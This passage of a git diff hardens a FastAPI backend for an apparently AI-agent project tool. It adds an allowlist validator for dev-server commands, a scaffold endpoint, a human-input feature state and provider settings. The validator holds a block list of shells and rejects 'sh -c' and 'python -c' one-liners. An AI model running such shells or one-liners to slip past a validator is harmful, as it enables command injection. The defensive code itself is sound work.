||||||
|
"uvicorn", "python", "python3",
|
||||||
|
"flask", "poetry",
|
||||||
|
"cargo", "go",
|
||||||
|
}
|
||||||
|
|
||||||
|
ALLOWED_NPM_SCRIPTS = {"dev", "start", "serve", "develop", "server", "preview"}
|
||||||
|
|
||||||
|
# Allowed Python -m modules for dev servers
|
||||||
|
ALLOWED_PYTHON_MODULES = {"uvicorn", "flask", "gunicorn", "http.server"}
|
||||||
|
|
||||||
|
BLOCKED_SHELLS = {"sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"}
|
||||||
|
|
||||||
|
|
||||||
|
def validate_custom_command_strict(cmd: str) -> None:
|
||||||
|
"""
|
||||||
|
Strict allowlist validation for dev server commands.
|
||||||
|
Prevents arbitrary command execution (no sh -c, no cmd /c, no python -c, etc.)
|
||||||
|
"""
|
||||||
|
if not isinstance(cmd, str) or not cmd.strip():
|
||||||
|
raise ValueError("custom_command cannot be empty")
|
||||||
|
|
||||||
|
argv = shlex.split(cmd, posix=(sys.platform != "win32"))
|
||||||
|
if not argv:
|
||||||
|
raise ValueError("custom_command could not be parsed")
|
||||||
|
|
||||||
|
base = Path(argv[0]).name.lower()
|
||||||
|
|
||||||
|
# Block direct shells / interpreters commonly used for command injection
|
||||||
|
if base in BLOCKED_SHELLS:
|
||||||
|
raise ValueError(f"custom_command runner not allowed: {base}")
|
||||||
|
|
||||||
|
if base not in ALLOWED_RUNNERS:
|
||||||
|
raise ValueError(
|
||||||
|
f"custom_command runner not allowed: {base}. "
|
||||||
|
f"Allowed: {', '.join(sorted(ALLOWED_RUNNERS))}"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Block one-liner execution for python
|
||||||
|
lowered = [a.lower() for a in argv]
|
||||||
|
if base in {"python", "python3"}:
|
||||||
|
if "-c" in lowered:
|
||||||
|
raise ValueError("python -c is not allowed")
|
||||||
|
if len(argv) >= 3 and argv[1] == "-m":
|
||||||
|
# Allow: python -m <allowed_module> ...
|
||||||
|
if argv[2] not in ALLOWED_PYTHON_MODULES:
|
||||||
|
raise ValueError(
|
||||||
|
f"python -m {argv[2]} is not allowed. "
|
||||||
|
f"Allowed modules: {', '.join(sorted(ALLOWED_PYTHON_MODULES))}"
|
||||||
|
)
|
||||||
|
elif len(argv) >= 2 and argv[1].endswith(".py"):
|
||||||
|
# Allow: python manage.py runserver, python app.py, etc.
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
raise ValueError(
|
||||||
|
"Python commands must use 'python -m <module> ...' or 'python <script>.py ...'"
|
||||||
|
)
|
||||||
|
|
||||||
|
if base == "flask":
|
||||||
|
# Allow: flask run [--host ...] [--port ...]
|
||||||
|
if len(argv) < 2 or argv[1] != "run":
|
||||||
|
raise ValueError("flask custom_command must be 'flask run [options]'")
|
||||||
|
|
||||||
|
if base == "poetry":
|
||||||
|
# Allow: poetry run <subcmd> ...
|
||||||
|
if len(argv) < 3 or argv[1] != "run":
|
||||||
|
raise ValueError("poetry custom_command must be 'poetry run <command> ...'")
|
||||||
|
|
||||||
|
if base == "uvicorn":
|
||||||
|
if len(argv) < 2 or ":" not in argv[1]:
|
||||||
|
raise ValueError("uvicorn must specify an app like module:app")
|
||||||
|
|
||||||
|
allowed_flags = {"--host", "--port", "--reload", "--log-level", "--workers"}
|
||||||
|
for a in argv[2:]:
|
||||||
|
if a.startswith("-"):
|
||||||
|
# Handle --flag=value syntax
|
||||||
|
flag_key = a.split("=", 1)[0]
|
||||||
|
if flag_key not in allowed_flags:
|
||||||
|
raise ValueError(f"uvicorn flag not allowed: {flag_key}")
|
||||||
|
|
||||||
|
if base in {"npm", "pnpm", "yarn"}:
|
||||||
|
# Allow only known safe scripts (no arbitrary exec)
|
||||||
|
if base == "npm":
|
||||||
|
if len(argv) < 3 or argv[1] != "run" or argv[2] not in ALLOWED_NPM_SCRIPTS:
|
||||||
|
raise ValueError(
|
||||||
|
f"npm custom_command must be 'npm run <script>' where script is one of: "
|
||||||
|
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||||
|
)
|
||||||
|
elif base == "pnpm":
|
||||||
|
ok = (
|
||||||
|
(len(argv) >= 2 and argv[1] in ALLOWED_NPM_SCRIPTS)
|
||||||
|
or (len(argv) >= 3 and argv[1] == "run" and argv[2] in ALLOWED_NPM_SCRIPTS)
|
||||||
|
)
|
||||||
|
if not ok:
|
||||||
|
raise ValueError(
|
||||||
|
f"pnpm custom_command must use a known script: "
|
||||||
|
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||||
|
)
|
||||||
|
elif base == "yarn":
|
||||||
|
ok = (
|
||||||
|
(len(argv) >= 2 and argv[1] in ALLOWED_NPM_SCRIPTS)
|
||||||
|
or (len(argv) >= 3 and argv[1] == "run" and argv[2] in ALLOWED_NPM_SCRIPTS)
|
||||||
|
)
|
||||||
|
if not ok:
|
||||||
|
raise ValueError(
|
||||||
|
f"yarn custom_command must use a known script: "
|
||||||
|
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def get_project_devserver_manager(project_name: str):
|
def get_project_devserver_manager(project_name: str):
|
||||||
"""
|
"""
|
||||||
@@ -180,9 +291,12 @@ async def start_devserver(
|
|||||||
# Determine which command to use
|
# Determine which command to use
|
||||||
command: str | None
|
command: str | None
|
||||||
if request.command:
|
if request.command:
|
||||||
command = request.command
|
raise HTTPException(
|
||||||
else:
|
status_code=400,
|
||||||
command = get_dev_command(project_dir)
|
detail="Direct command execution is disabled. Use /config to set a safe custom_command."
|
||||||
|
)
|
||||||
|
|
||||||
|
command = get_dev_command(project_dir)
|
||||||
|
|
||||||
if not command:
|
if not command:
|
||||||
raise HTTPException(
|
raise HTTPException(
|
||||||
@@ -193,6 +307,13 @@ async def start_devserver(
|
|||||||
# Validate command against security allowlist before execution
|
# Validate command against security allowlist before execution
|
||||||
validate_dev_command(command, project_dir)
|
validate_dev_command(command, project_dir)
|
||||||
|
|
||||||
|
# Defense-in-depth: also run strict structural validation at execution time
|
||||||
|
# (catches config file tampering that bypasses the /config endpoint)
|
||||||
|
try:
|
||||||
|
validate_custom_command_strict(command)
|
||||||
|
except ValueError as e:
|
||||||
|
raise HTTPException(status_code=400, detail=str(e))
|
||||||
|
|
||||||
# Now command is definitely str and validated
|
# Now command is definitely str and validated
|
||||||
success, message = await manager.start(command)
|
success, message = await manager.start(command)
|
||||||
|
|
||||||
@@ -284,7 +405,13 @@ async def update_devserver_config(
|
|||||||
except ValueError as e:
|
except ValueError as e:
|
||||||
raise HTTPException(status_code=400, detail=str(e))
|
raise HTTPException(status_code=400, detail=str(e))
|
||||||
else:
|
else:
|
||||||
# Validate command against security allowlist before persisting
|
# Strict structural validation first (most specific errors)
|
||||||
|
try:
|
||||||
|
validate_custom_command_strict(update.custom_command)
|
||||||
|
except ValueError as e:
|
||||||
|
raise HTTPException(status_code=400, detail=str(e))
|
||||||
|
|
||||||
|
# Then validate against security allowlist
|
||||||
validate_dev_command(update.custom_command, project_dir)
|
validate_dev_command(update.custom_command, project_dir)
|
||||||
|
|
||||||
# Set the custom command
|
# Set the custom command
|
||||||
|
|||||||
@@ -104,31 +104,37 @@ async def expand_project_websocket(websocket: WebSocket, project_name: str):
|
|||||||
- {"type": "error", "content": "..."} - Error message
|
- {"type": "error", "content": "..."} - Error message
|
||||||
- {"type": "pong"} - Keep-alive pong
|
- {"type": "pong"} - Keep-alive pong
|
||||||
"""
|
"""
|
||||||
|
# Always accept the WebSocket first to avoid opaque 403 errors.
|
||||||
|
# Starlette returns 403 if we close before accepting.
|
||||||
|
await websocket.accept()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
project_name = validate_project_name(project_name)
|
project_name = validate_project_name(project_name)
|
||||||
except HTTPException:
|
except HTTPException:
|
||||||
|
await websocket.send_json({"type": "error", "content": "Invalid project name"})
|
||||||
await websocket.close(code=4000, reason="Invalid project name")
|
await websocket.close(code=4000, reason="Invalid project name")
|
||||||
return
|
return
|
||||||
|
|
||||||
# Look up project directory from registry
|
# Look up project directory from registry
|
||||||
project_dir = _get_project_path(project_name)
|
project_dir = _get_project_path(project_name)
|
||||||
if not project_dir:
|
if not project_dir:
|
||||||
|
await websocket.send_json({"type": "error", "content": "Project not found in registry"})
|
||||||
await websocket.close(code=4004, reason="Project not found in registry")
|
await websocket.close(code=4004, reason="Project not found in registry")
|
||||||
return
|
return
|
||||||
|
|
||||||
if not project_dir.exists():
|
if not project_dir.exists():
|
||||||
|
await websocket.send_json({"type": "error", "content": "Project directory not found"})
|
||||||
await websocket.close(code=4004, reason="Project directory not found")
|
await websocket.close(code=4004, reason="Project directory not found")
|
||||||
return
|
return
|
||||||
|
|
||||||
# Verify project has app_spec.txt
|
# Verify project has app_spec.txt
|
||||||
from autocoder_paths import get_prompts_dir
|
from autoforge_paths import get_prompts_dir
|
||||||
spec_path = get_prompts_dir(project_dir) / "app_spec.txt"
|
spec_path = get_prompts_dir(project_dir) / "app_spec.txt"
|
||||||
if not spec_path.exists():
|
if not spec_path.exists():
|
||||||
|
await websocket.send_json({"type": "error", "content": "Project has no spec. Create a spec first before expanding."})
|
||||||
await websocket.close(code=4004, reason="Project has no spec. Create spec first.")
|
await websocket.close(code=4004, reason="Project has no spec. Create spec first.")
|
||||||
return
|
return
|
||||||
|
|
||||||
await websocket.accept()
|
|
||||||
|
|
||||||
session: Optional[ExpandChatSession] = None
|
session: Optional[ExpandChatSession] = None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ from ..schemas import (
|
|||||||
FeatureListResponse,
|
FeatureListResponse,
|
||||||
FeatureResponse,
|
FeatureResponse,
|
||||||
FeatureUpdate,
|
FeatureUpdate,
|
||||||
|
HumanInputResponse,
|
||||||
)
|
)
|
||||||
from ..utils.project_helpers import get_project_path as _get_project_path
|
from ..utils.project_helpers import get_project_path as _get_project_path
|
||||||
from ..utils.validation import validate_project_name
|
from ..utils.validation import validate_project_name
|
||||||
@@ -104,6 +105,9 @@ def feature_to_response(f, passing_ids: set[int] | None = None) -> FeatureRespon
|
|||||||
in_progress=f.in_progress if f.in_progress is not None else False,
|
in_progress=f.in_progress if f.in_progress is not None else False,
|
||||||
blocked=blocked,
|
blocked=blocked,
|
||||||
blocking_dependencies=blocking,
|
blocking_dependencies=blocking,
|
||||||
|
needs_human_input=getattr(f, 'needs_human_input', False) or False,
|
||||||
|
human_input_request=getattr(f, 'human_input_request', None),
|
||||||
|
human_input_response=getattr(f, 'human_input_response', None),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
@@ -126,7 +130,7 @@ async def list_features(project_name: str):
|
|||||||
if not project_dir.exists():
|
if not project_dir.exists():
|
||||||
raise HTTPException(status_code=404, detail="Project directory not found")
|
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||||
|
|
||||||
from autocoder_paths import get_features_db_path
|
from autoforge_paths import get_features_db_path
|
||||||
db_file = get_features_db_path(project_dir)
|
db_file = get_features_db_path(project_dir)
|
||||||
if not db_file.exists():
|
if not db_file.exists():
|
||||||
return FeatureListResponse(pending=[], in_progress=[], done=[])
|
return FeatureListResponse(pending=[], in_progress=[], done=[])
|
||||||
@@ -143,11 +147,14 @@ async def list_features(project_name: str):
|
|||||||
pending = []
|
pending = []
|
||||||
in_progress = []
|
in_progress = []
|
||||||
done = []
|
done = []
|
||||||
|
needs_human_input_list = []
|
||||||
|
|
||||||
for f in all_features:
|
for f in all_features:
|
||||||
feature_response = feature_to_response(f, passing_ids)
|
feature_response = feature_to_response(f, passing_ids)
|
||||||
if f.passes:
|
if f.passes:
|
||||||
done.append(feature_response)
|
done.append(feature_response)
|
||||||
|
elif getattr(f, 'needs_human_input', False):
|
||||||
|
needs_human_input_list.append(feature_response)
|
||||||
elif f.in_progress:
|
elif f.in_progress:
|
||||||
in_progress.append(feature_response)
|
in_progress.append(feature_response)
|
||||||
else:
|
else:
|
||||||
@@ -157,6 +164,7 @@ async def list_features(project_name: str):
|
|||||||
pending=pending,
|
pending=pending,
|
||||||
in_progress=in_progress,
|
in_progress=in_progress,
|
||||||
done=done,
|
done=done,
|
||||||
|
needs_human_input=needs_human_input_list,
|
||||||
)
|
)
|
||||||
except HTTPException:
|
except HTTPException:
|
||||||
raise
|
raise
|
||||||
@@ -322,7 +330,7 @@ async def get_dependency_graph(project_name: str):
|
|||||||
if not project_dir.exists():
|
if not project_dir.exists():
|
||||||
raise HTTPException(status_code=404, detail="Project directory not found")
|
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||||
|
|
||||||
from autocoder_paths import get_features_db_path
|
from autoforge_paths import get_features_db_path
|
||||||
db_file = get_features_db_path(project_dir)
|
db_file = get_features_db_path(project_dir)
|
||||||
if not db_file.exists():
|
if not db_file.exists():
|
||||||
return DependencyGraphResponse(nodes=[], edges=[])
|
return DependencyGraphResponse(nodes=[], edges=[])
|
||||||
@@ -341,9 +349,11 @@ async def get_dependency_graph(project_name: str):
|
|||||||
deps = f.dependencies or []
|
deps = f.dependencies or []
|
||||||
blocking = [d for d in deps if d not in passing_ids]
|
blocking = [d for d in deps if d not in passing_ids]
|
||||||
|
|
||||||
status: Literal["pending", "in_progress", "done", "blocked"]
|
status: Literal["pending", "in_progress", "done", "blocked", "needs_human_input"]
|
||||||
if f.passes:
|
if f.passes:
|
||||||
status = "done"
|
status = "done"
|
||||||
|
elif getattr(f, 'needs_human_input', False):
|
||||||
|
status = "needs_human_input"
|
||||||
elif blocking:
|
elif blocking:
|
||||||
status = "blocked"
|
status = "blocked"
|
||||||
elif f.in_progress:
|
elif f.in_progress:
|
||||||
@@ -388,7 +398,7 @@ async def get_feature(project_name: str, feature_id: int):
|
|||||||
if not project_dir.exists():
|
if not project_dir.exists():
|
||||||
raise HTTPException(status_code=404, detail="Project directory not found")
|
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||||
|
|
||||||
from autocoder_paths import get_features_db_path
|
from autoforge_paths import get_features_db_path
|
||||||
db_file = get_features_db_path(project_dir)
|
db_file = get_features_db_path(project_dir)
|
||||||
if not db_file.exists():
|
if not db_file.exists():
|
||||||
raise HTTPException(status_code=404, detail="No features database found")
|
raise HTTPException(status_code=404, detail="No features database found")
|
||||||
@@ -564,6 +574,71 @@ async def skip_feature(project_name: str, feature_id: int):
|
|||||||
raise HTTPException(status_code=500, detail="Failed to skip feature")
|
raise HTTPException(status_code=500, detail="Failed to skip feature")
|
||||||
|
|
||||||
|
|
||||||
|
@router.post("/{feature_id}/resolve-human-input", response_model=FeatureResponse)
|
||||||
|
async def resolve_human_input(project_name: str, feature_id: int, response: HumanInputResponse):
|
||||||
|
"""Resolve a human input request for a feature.
|
||||||
|
|
||||||
|
Validates all required fields have values, stores the response,
|
||||||
|
and returns the feature to the pending queue for agents to pick up.
|
||||||
|
"""
|
||||||
|
project_name = validate_project_name(project_name)
|
||||||
|
project_dir = _get_project_path(project_name)
|
||||||
|
|
||||||
|
if not project_dir:
|
||||||
|
raise HTTPException(status_code=404, detail=f"Project '{project_name}' not found in registry")
|
||||||
|
|
||||||
|
if not project_dir.exists():
|
||||||
|
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||||
|
|
||||||
|
_, Feature = _get_db_classes()
|
||||||
|
|
||||||
|
try:
|
||||||
|
with get_db_session(project_dir) as session:
|
||||||
|
feature = session.query(Feature).filter(Feature.id == feature_id).first()
|
||||||
|
|
||||||
|
if not feature:
|
||||||
|
raise HTTPException(status_code=404, detail=f"Feature {feature_id} not found")
|
||||||
|
|
||||||
|
if not getattr(feature, 'needs_human_input', False):
|
||||||
|
raise HTTPException(status_code=400, detail="Feature is not waiting for human input")
|
||||||
|
|
||||||
|
# Validate required fields
|
||||||
|
request_data = feature.human_input_request
|
||||||
|
if request_data and isinstance(request_data, dict):
|
||||||
|
for field_def in request_data.get("fields", []):
|
||||||
|
if field_def.get("required", True):
|
||||||
|
field_id = field_def.get("id")
|
||||||
|
if field_id not in response.fields or response.fields[field_id] in (None, ""):
|
||||||
|
raise HTTPException(
|
||||||
|
status_code=400,
|
||||||
|
detail=f"Required field '{field_def.get('label', field_id)}' is missing"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Store response and return to pending queue
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
response_data = {
|
||||||
|
"fields": {k: v for k, v in response.fields.items()},
|
||||||
|
"responded_at": datetime.now(timezone.utc).isoformat(),
|
||||||
|
}
|
||||||
|
feature.human_input_response = response_data
|
||||||
|
feature.needs_human_input = False
|
||||||
|
# Keep in_progress=False, passes=False so it returns to pending
|
||||||
|
|
||||||
|
session.commit()
|
||||||
|
session.refresh(feature)
|
||||||
|
|
||||||
|
# Compute passing IDs for response
|
||||||
|
all_features = session.query(Feature).all()
|
||||||
|
passing_ids = {f.id for f in all_features if f.passes}
|
||||||
|
|
||||||
|
return feature_to_response(feature, passing_ids)
|
||||||
|
except HTTPException:
|
||||||
|
raise
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to resolve human input")
|
||||||
|
raise HTTPException(status_code=500, detail="Failed to resolve human input")
|
||||||
|
|
||||||
|
|
||||||
# ============================================================================
|
# ============================================================================
|
||||||
# Dependency Management Endpoints
|
# Dependency Management Endpoints
|
||||||
# ============================================================================
|
# ============================================================================
|
||||||
|
|||||||
@@ -102,7 +102,7 @@ def get_project_stats(project_dir: Path) -> ProjectStats:
|
|||||||
"""Get statistics for a project."""
|
"""Get statistics for a project."""
|
||||||
_init_imports()
|
_init_imports()
|
||||||
assert _count_passing_tests is not None # guaranteed by _init_imports()
|
assert _count_passing_tests is not None # guaranteed by _init_imports()
|
||||||
passing, in_progress, total = _count_passing_tests(project_dir)
|
passing, in_progress, total, _needs_human_input = _count_passing_tests(project_dir)
|
||||||
percentage = (passing / total * 100) if total > 0 else 0.0
|
percentage = (passing / total * 100) if total > 0 else 0.0
|
||||||
return ProjectStats(
|
return ProjectStats(
|
||||||
passing=passing,
|
passing=passing,
|
||||||
@@ -276,7 +276,7 @@ async def delete_project(name: str, delete_files: bool = False):
|
|||||||
raise HTTPException(status_code=404, detail=f"Project '{name}' not found")
|
raise HTTPException(status_code=404, detail=f"Project '{name}' not found")
|
||||||
|
|
||||||
# Check if agent is running
|
# Check if agent is running
|
||||||
from autocoder_paths import has_agent_running
|
from autoforge_paths import has_agent_running
|
||||||
if has_agent_running(project_dir):
|
if has_agent_running(project_dir):
|
||||||
raise HTTPException(
|
raise HTTPException(
|
||||||
status_code=409,
|
status_code=409,
|
||||||
@@ -407,7 +407,7 @@ async def reset_project(name: str, full_reset: bool = False):
|
|||||||
raise HTTPException(status_code=404, detail="Project directory not found")
|
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||||
|
|
||||||
# Check if agent is running
|
# Check if agent is running
|
||||||
from autocoder_paths import has_agent_running
|
from autoforge_paths import has_agent_running
|
||||||
if has_agent_running(project_dir):
|
if has_agent_running(project_dir):
|
||||||
raise HTTPException(
|
raise HTTPException(
|
||||||
status_code=409,
|
status_code=409,
|
||||||
@@ -424,7 +424,7 @@ async def reset_project(name: str, full_reset: bool = False):
|
|||||||
|
|
||||||
deleted_files: list[str] = []
|
deleted_files: list[str] = []
|
||||||
|
|
||||||
from autocoder_paths import (
|
from autoforge_paths import (
|
||||||
get_assistant_db_path,
|
get_assistant_db_path,
|
||||||
get_claude_assistant_settings_path,
|
get_claude_assistant_settings_path,
|
||||||
get_claude_settings_path,
|
get_claude_settings_path,
|
||||||
@@ -466,7 +466,7 @@ async def reset_project(name: str, full_reset: bool = False):
|
|||||||
|
|
||||||
# Full reset: also delete prompts directory
|
# Full reset: also delete prompts directory
|
||||||
if full_reset:
|
if full_reset:
|
||||||
from autocoder_paths import get_prompts_dir
|
from autoforge_paths import get_prompts_dir
|
||||||
# Delete prompts from both possible locations
|
# Delete prompts from both possible locations
|
||||||
for prompts_dir in [get_prompts_dir(project_dir), project_dir / "prompts"]:
|
for prompts_dir in [get_prompts_dir(project_dir), project_dir / "prompts"]:
|
||||||
if prompts_dir.exists():
|
if prompts_dir.exists():
|
||||||
|
|||||||
136
server/routers/scaffold.py
Normal file
136
server/routers/scaffold.py
Normal file
@@ -0,0 +1,136 @@
|
|||||||
|
"""
|
||||||
|
Scaffold Router
|
||||||
|
================
|
||||||
|
|
||||||
|
SSE streaming endpoint for running project scaffold commands.
|
||||||
|
Supports templated project creation (e.g., Next.js agentic starter).
|
||||||
|
"""
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from fastapi import APIRouter, Request
|
||||||
|
from fastapi.responses import StreamingResponse
|
||||||
|
from pydantic import BaseModel
|
||||||
|
|
||||||
|
from .filesystem import is_path_blocked
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
router = APIRouter(prefix="/api/scaffold", tags=["scaffold"])
|
||||||
|
|
||||||
|
# Hardcoded templates — no arbitrary commands allowed
|
||||||
|
TEMPLATES: dict[str, list[str]] = {
|
||||||
|
"agentic-starter": ["npx", "create-agentic-app@latest", ".", "-y", "-p", "npm", "--skip-git"],
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class ScaffoldRequest(BaseModel):
|
||||||
|
template: str
|
||||||
|
target_path: str
|
||||||
|
|
||||||
|
|
||||||
|
def _sse_event(data: dict) -> str:
|
||||||
|
"""Format a dict as an SSE data line."""
|
||||||
|
return f"data: {json.dumps(data)}\n\n"
|
||||||
|
|
||||||
|
|
||||||
|
async def _stream_scaffold(template: str, target_path: str, request: Request):
|
||||||
|
"""Run the scaffold command and yield SSE events."""
|
||||||
|
# Validate template
|
||||||
|
if template not in TEMPLATES:
|
||||||
|
yield _sse_event({"type": "error", "message": f"Unknown template: {template}"})
|
||||||
|
return
|
||||||
|
|
||||||
|
# Validate path
|
||||||
|
path = Path(target_path)
|
||||||
|
try:
|
||||||
|
path = path.resolve()
|
||||||
|
except (OSError, ValueError) as e:
|
||||||
|
yield _sse_event({"type": "error", "message": f"Invalid path: {e}"})
|
||||||
|
return
|
||||||
|
|
||||||
|
if is_path_blocked(path):
|
||||||
|
yield _sse_event({"type": "error", "message": "Access to this directory is not allowed"})
|
||||||
|
return
|
||||||
|
|
||||||
|
if not path.exists() or not path.is_dir():
|
||||||
|
yield _sse_event({"type": "error", "message": "Target directory does not exist"})
|
||||||
|
return
|
||||||
|
|
||||||
|
# Check npx is available
|
||||||
|
npx_name = "npx"
|
||||||
|
if sys.platform == "win32":
|
||||||
|
npx_name = "npx.cmd"
|
||||||
|
|
||||||
|
if not shutil.which(npx_name):
|
||||||
|
yield _sse_event({"type": "error", "message": "npx is not available. Please install Node.js."})
|
||||||
|
return
|
||||||
|
|
||||||
|
# Build command
|
||||||
|
argv = list(TEMPLATES[template])
|
||||||
|
if sys.platform == "win32" and not argv[0].lower().endswith(".cmd"):
|
||||||
|
argv[0] = argv[0] + ".cmd"
|
||||||
|
|
||||||
|
process = None
|
||||||
|
try:
|
||||||
|
popen_kwargs: dict = {
|
||||||
|
"stdout": subprocess.PIPE,
|
||||||
|
"stderr": subprocess.STDOUT,
|
||||||
|
"stdin": subprocess.DEVNULL,
|
||||||
|
"cwd": str(path),
|
||||||
|
}
|
||||||
|
if sys.platform == "win32":
|
||||||
|
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
||||||
|
|
||||||
|
process = subprocess.Popen(argv, **popen_kwargs)
|
||||||
|
logger.info("Scaffold process started: pid=%s, template=%s, path=%s", process.pid, template, target_path)
|
||||||
|
|
||||||
|
# Stream stdout lines
|
||||||
|
assert process.stdout is not None
|
||||||
|
for raw_line in iter(process.stdout.readline, b""):
|
||||||
|
# Check if client disconnected
|
||||||
|
if await request.is_disconnected():
|
||||||
|
logger.info("Client disconnected during scaffold, terminating process")
|
||||||
|
break
|
||||||
|
|
||||||
|
line = raw_line.decode("utf-8", errors="replace").rstrip("\n\r")
|
||||||
|
yield _sse_event({"type": "output", "line": line})
|
||||||
|
# Yield control to event loop so disconnect checks work
|
||||||
|
await asyncio.sleep(0)
|
||||||
|
|
||||||
|
process.wait()
|
||||||
|
exit_code = process.returncode
|
||||||
|
success = exit_code == 0
|
||||||
|
logger.info("Scaffold process completed: exit_code=%s, template=%s", exit_code, template)
|
||||||
|
yield _sse_event({"type": "complete", "success": success, "exit_code": exit_code})
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error("Scaffold error: %s", e)
|
||||||
|
yield _sse_event({"type": "error", "message": str(e)})
|
||||||
|
|
||||||
|
finally:
|
||||||
|
if process and process.poll() is None:
|
||||||
|
try:
|
||||||
|
process.terminate()
|
||||||
|
process.wait(timeout=5)
|
||||||
|
except Exception:
|
||||||
|
process.kill()
|
||||||
|
|
||||||
|
|
||||||
|
@router.post("/run")
|
||||||
|
async def run_scaffold(body: ScaffoldRequest, request: Request):
|
||||||
|
"""Run a scaffold template command with SSE streaming output."""
|
||||||
|
return StreamingResponse(
|
||||||
|
_stream_scaffold(body.template, body.target_path, request),
|
||||||
|
media_type="text/event-stream",
|
||||||
|
headers={
|
||||||
|
"Cache-Control": "no-cache",
|
||||||
|
"X-Accel-Buffering": "no",
|
||||||
|
},
|
||||||
|
)
|
||||||
@@ -7,12 +7,11 @@ Settings are stored in the registry database and shared across all projects.
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import mimetypes
|
import mimetypes
|
||||||
import os
|
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from fastapi import APIRouter
|
from fastapi import APIRouter
|
||||||
|
|
||||||
from ..schemas import ModelInfo, ModelsResponse, SettingsResponse, SettingsUpdate
|
from ..schemas import ModelInfo, ModelsResponse, ProviderInfo, ProvidersResponse, SettingsResponse, SettingsUpdate
|
||||||
from ..services.chat_constants import ROOT_DIR
|
from ..services.chat_constants import ROOT_DIR
|
||||||
|
|
||||||
# Mimetype fix for Windows - must run before StaticFiles is mounted
|
# Mimetype fix for Windows - must run before StaticFiles is mounted
|
||||||
@@ -23,9 +22,11 @@ if str(ROOT_DIR) not in sys.path:
|
|||||||
sys.path.insert(0, str(ROOT_DIR))
|
sys.path.insert(0, str(ROOT_DIR))
|
||||||
|
|
||||||
from registry import (
|
from registry import (
|
||||||
|
API_PROVIDERS,
|
||||||
AVAILABLE_MODELS,
|
AVAILABLE_MODELS,
|
||||||
DEFAULT_MODEL,
|
DEFAULT_MODEL,
|
||||||
get_all_settings,
|
get_all_settings,
|
||||||
|
get_setting,
|
||||||
set_setting,
|
set_setting,
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -37,26 +38,40 @@ def _parse_yolo_mode(value: str | None) -> bool:
|
|||||||
return (value or "false").lower() == "true"
|
return (value or "false").lower() == "true"
|
||||||
|
|
||||||
|
|
||||||
def _is_glm_mode() -> bool:
|
@router.get("/providers", response_model=ProvidersResponse)
|
||||||
"""Check if GLM API is configured via environment variables."""
|
async def get_available_providers():
|
||||||
base_url = os.getenv("ANTHROPIC_BASE_URL", "")
|
"""Get list of available API providers."""
|
||||||
# GLM mode is when ANTHROPIC_BASE_URL is set but NOT pointing to Ollama
|
current = get_setting("api_provider", "claude") or "claude"
|
||||||
return bool(base_url) and not _is_ollama_mode()
|
providers = []
|
||||||
|
for pid, pdata in API_PROVIDERS.items():
|
||||||
|
providers.append(ProviderInfo(
|
||||||
def _is_ollama_mode() -> bool:
|
id=pid,
|
||||||
"""Check if Ollama API is configured via environment variables."""
|
name=pdata["name"],
|
||||||
base_url = os.getenv("ANTHROPIC_BASE_URL", "")
|
base_url=pdata.get("base_url"),
|
||||||
return "localhost:11434" in base_url or "127.0.0.1:11434" in base_url
|
models=[ModelInfo(id=m["id"], name=m["name"]) for m in pdata.get("models", [])],
|
||||||
|
default_model=pdata.get("default_model", ""),
|
||||||
|
requires_auth=pdata.get("requires_auth", False),
|
||||||
|
))
|
||||||
|
return ProvidersResponse(providers=providers, current=current)
|
||||||
|
|
||||||
|
|
||||||
@router.get("/models", response_model=ModelsResponse)
|
@router.get("/models", response_model=ModelsResponse)
|
||||||
async def get_available_models():
|
async def get_available_models():
|
||||||
"""Get list of available models.
|
"""Get list of available models.
|
||||||
|
|
||||||
Frontend should call this to get the current list of models
|
Returns models for the currently selected API provider.
|
||||||
instead of hardcoding them.
|
|
||||||
"""
|
"""
|
||||||
|
current_provider = get_setting("api_provider", "claude") or "claude"
|
||||||
|
provider = API_PROVIDERS.get(current_provider)
|
||||||
|
|
||||||
|
if provider and current_provider != "claude":
|
||||||
|
provider_models = provider.get("models", [])
|
||||||
|
return ModelsResponse(
|
||||||
|
models=[ModelInfo(id=m["id"], name=m["name"]) for m in provider_models],
|
||||||
|
default=provider.get("default_model", ""),
|
||||||
|
)
|
||||||
|
|
||||||
|
# Default: return Claude models
|
||||||
return ModelsResponse(
|
return ModelsResponse(
|
||||||
models=[ModelInfo(id=m["id"], name=m["name"]) for m in AVAILABLE_MODELS],
|
models=[ModelInfo(id=m["id"], name=m["name"]) for m in AVAILABLE_MODELS],
|
||||||
default=DEFAULT_MODEL,
|
default=DEFAULT_MODEL,
|
||||||
@@ -85,14 +100,23 @@ async def get_settings():
|
|||||||
"""Get current global settings."""
|
"""Get current global settings."""
|
||||||
all_settings = get_all_settings()
|
all_settings = get_all_settings()
|
||||||
|
|
||||||
|
api_provider = all_settings.get("api_provider", "claude")
|
||||||
|
|
||||||
|
glm_mode = api_provider == "glm"
|
||||||
|
ollama_mode = api_provider == "ollama"
|
||||||
|
|
||||||
return SettingsResponse(
|
